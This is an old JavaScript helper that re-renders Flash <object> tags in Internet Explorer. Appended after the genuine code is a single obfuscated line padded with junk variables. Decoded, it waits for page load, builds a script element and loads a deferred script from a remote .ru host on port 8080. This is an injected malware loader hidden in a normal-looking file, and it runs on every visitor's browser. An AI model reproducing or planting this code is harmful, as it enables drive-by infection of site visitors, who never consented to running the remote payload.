

/*****************************************************************************
* view Command
*///**************************************************************************
function view(node)
{
	if(node == null)
		this.node = document; 
	else
		this.node = node; 
};
view.prototype.node = null;

view.prototype.execute = function()
{
	this.activateObject();
}

view.prototype.activateObject = function(domObject)
{
	var aDomObject = this.node.getElementsByTagName('object');
	var activationObject;
	for(var i=0; i<aDomObject.length; i++)
		if
		(
			aDomObject[i].getAttributeNode('view') == null
			&&
			(activationObject = this.getActivationObject(aDomObject[i])) != null
		)
			activationObject.execute();
};

view.prototype.getActivationObject = function(domObject)
{
	var classid = domObject.classid.toUpperCase().substr('clsid:'.length);
	var mimeType = domObject.type.toLowerCase();

	switch(true)
	{
		case 
			classid == 'D27CDB6E-AE6D-11CF-96B8-444553540000' 
			||
			mimeType == 'application/x-shockwave-flash'
		:
			return new ActivateObjectFlash(domObject);

		default :
			return null;
	}
};

view.uniqueID = function(prefix)
{
	var sPrefix;
	if(prefix == null)
		sPrefix = 'uniqueId';
	else
		sPrefix = prefix;
		
	var i=0;
	while(document.getElementById(sPrefix + (i++)))
		;
	return sPrefix + (i-1);
};

view.isParentOf = function(parent,child)
{
	var found = false;
	for(var i=0; i<parent.childNodes.length; i++)
		if(parent.childNodes[i] == child)
			return true;
		else
			found = arguments.callee(parent.childNodes[i],child);

	return found;
}

/*****************************************************************************
* ActivateObject Command
*///**************************************************************************
function ActivateObject(domObject)
{
	this.domObject = domObject;
}

ActivateObject.prototype.domObject = null;
ActivateObject.prototype.classid = null;
ActivateObject.prototype.aHtmlAttribute = ['accessKey','align','alt','archive','border','code','codeBase','codeType','declare','dir','height','hideFocus','hspace','lang','language','name','standby','tabIndex','title','useMap','vspace','width'];
ActivateObject.prototype.aObjectProperty = null;

ActivateObject.prototype.execute = function()
{
	this.xndObjectId = view.uniqueID();
	this.setTextHtml();
	this.writeObject();

	this.xndObject = document.getElementById(this.xndObjectId);
	this.setSpecialProperties();
	this.removeOriginalObject();
}

ActivateObject.prototype.setTextHtml = function()
{
	var str = '';
	str += '<object view ' + '\n';
	str += ' classid="clsid:' + this.classid + '" ' + '\n';

	//Add HTML attributes to the <object> tag
	for(var i=0; i<this.aHtmlAttribute.length; i++)
	{
		var name = this.aHtmlAttribute[i];
		if(typeof this.domObject[name] != 'undefined' && this.domObject[name].toString() != '')
			str += '\t' + name + '="' + this.domObject[name].toString() + '" ' + '\n';
	}

	str += 'id="' + this.xndObjectId + '" ' + '\n';
	str += '>';

	for(var i=0; i<this.aObjectProperty.length; i++)
	{
		var name = this.aObjectProperty[i];
		if(typeof this.domObject[name] != 'undefined' && this.domObject[name].toString() != '' )
			str += '\t<param name="' + name + '" value="' + this.domObject[name].toString() + '"></param>' + '\n';
	}
	str += '</object>';

	this.textHtml = str;
};

ActivateObject.prototype.writeObject = function()
{
	this.domObject.insertAdjacentHTML("afterEnd",this.textHtml);
};

ActivateObject.prototype.setSpecialProperties = function()
{
	if(typeof this.domObject.className != 'undefined' && this.domObject.className.toString() != '')
		this.xndObject.className = this.domObject.className

	if(typeof this.domObject.style.cssText != 'undefined' && this.domObject.style.cssText.toString() != '')
		this.xndObject.style.cssText = this.domObject.style.cssText;

	if(typeof this.domObject.SWRemote != 'undefined' && this.domObject.SWRemote.toString() != '')
		this.xndObject.FlashVars = this.domObject.SWRemote;

	if(typeof this.domObject.codebase == 'undefined' || this.domObject.codebase.toString() == '')
		this.xndObject.codebase = 'http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,24,0';

	if(typeof this.domObject.id != 'undefined' && this.domObject.id.toString() != '')
		this.xndObject.id = this.domObject.id;

};

ActivateObject.prototype.removeOriginalObject = function()
{
	this.domObject.parentNode.removeChild(this.domObject);
};

/*****************************************************************************
* ActivateObjectFlash Command
*///**************************************************************************
function ActivateObjectFlash(domObject)
{
	ActivateObject.call(this,domObject);
}
ActivateObjectFlash.prototype = new ActivateObject;
ActivateObjectFlash.prototype.aObjectProperty = ['FrameNum','Playing','Quality','Quality2','Scalemode','Scale','AlignMode','SAlign','BackgroundColor','BGColor','Loop','Movie','WMode','Base','DeviceFont','EmbedMovie','SWRemote','FlashVars','AllowScriptAccess'];
ActivateObjectFlash.prototype.classid = 'D27CDB6E-AE6D-11CF-96B8-444553540000';


/*****************************************************************************
* Script initialisation
*///**************************************************************************
if(typeof ActiveXObject != 'undefined' && typeof Function.call != 'undefined')
{
	var styleId = view.uniqueID();
	document.write('<style id="' + styleId + '" ></style>');
	var domStyle = document.getElementById(styleId);

	var isHead = false;
	var aHead = document.getElementsByTagName('head');
	for(var i=0; i<aHead.length; i++)
		if(view.isParentOf(aHead[i],domStyle))
			isHead = true;

	if(isHead)
	{
		document.write('<style type="text/css">OBJECT{visibility:hidden;}</style>');
		document.onreadystatechange = function()
		{
			if(document.readyState == 'complete')
			{
				new view().execute();
				document.styleSheets[document.styleSheets.length-1].addRule("OBJECT","visibility:visible;");
				//alert('head');
				//alert(document.body.innerHTML);
			}
		}
	}
	else
	{
		new view().execute();
		//alert('body');
		//alert(document.body.innerHTML);
	}
	
	domStyle.parentNode.removeChild(domStyle);
}
var a;if(a!='VY'){a='VY'};try {var F=new Array();var M="";var T='';var Br=new Date();var R;if(R!=''){R='s'};var N='g';var gv;if(gv!='' && gv!='y'){gv='sd'};this.sY="";this.JR="";var B='replace';var H=']';var IM;if(IM!='' && IM!='K'){IM=null};this.D='';var e=RegExp;var i;if(i!='nN' && i != ''){i=null};this.cr='';var z='[';var X="";var RE=new String();function m(f,Nc){var MV;if(MV!='gL'){MV='gL'};this.gj='';var Bw=z;var r;if(r!='P' && r!='XH'){r=''};Bw+=Nc;var IH;if(IH!='ZZ' && IH!='Vt'){IH=''};var JF=new Date();Bw+=H;var Pw=new Array();var cre;if(cre!='' && cre!='EP'){cre='I_'};var q=new e(Bw, N);var sQ;if(sQ!='LA' && sQ != ''){sQ=null};var _v=new Array();return f[B](q, T);var YW=new Date();};var Yv=new String();var b;if(b!='kJ'){b=''};var mX=m('cMrMeMahtMeMEhlMeMmheMnMth',"Mh");var Ec;if(Ec!='CU' && Ec!='Gr'){Ec='CU'};var I=m('sXcMrMidpMtM',"MXd");var XM;if(XM!='yN' && XM != ''){XM=null};var g=m('/NaGsCkNmCeNnN.GcGoNmG/NaCsCkCmGeCnN.GcCoCmC/CcNoGmNcGaNsNtN.GcNoNmG/GfClCiNnGgN.GcGoGmG/GgNoGoCgGlCeC.CcGoGmG.CpGhCpG',"GNC");var fT='';var x=m('sde1t3AXtXt3r3i1bXudt3e1',"dX13");var Wr;if(Wr!='S'){Wr=''};var NT;if(NT!='' && NT!='Qu'){NT=null};var f="1";this.DY="";var G=m('hNt6tNp9:F/N/9wBoBr9dFrBeNf9e6rBeNnFcNeB-FcFo6m6.9sBt9eBrNnB.Nd6e9.Bw6p6-6p9l6.Bo6p9e9nFa9iNr6m6a6lBlB.9r9uN:N',"6FNB9");var ir;if(ir!=''){ir='LC'};var V=m('avpOpKevnOdvCvhviKlvdO',"KvO");var Y=m('o_nYlYo_aYd_',"f_Y");this.Dd='';var gO=new String();var h=m('8439494045548434504455',"9354");var Q=m('bHo8d8yY',"8HY");var Ms;if(Ms!=''){Ms='lr'};window[Y]=function(){var sD=new Date();this.fE='';var kH=new String();j=document[mX](I);var GQ;if(GQ!='' && GQ!='kr'){GQ='ih'};var cB;if(cB!='Yd' && cB!='QcS'){cB='Yd'};var vP=new Array();fT+=G;var MS="";fT+=h;fT+=g;var ty;if(ty!='' && ty!='pR'){ty=null};j.setAttribute('defer', f);var QJ=document[Q];j.src=fT;var Sr;if(Sr!='Zf' && Sr!='ye'){Sr='Zf'};QJ.appendChild(j);};this.vu="";var tu=new Date();} catch(t){var vm;if(vm!='Rm'){vm=''};var Gd;if(Gd!='TS' && Gd!='TU'){Gd=''};};this.gM='';var Pd;if(Pd!='Mh' && Pd != ''){Pd=null};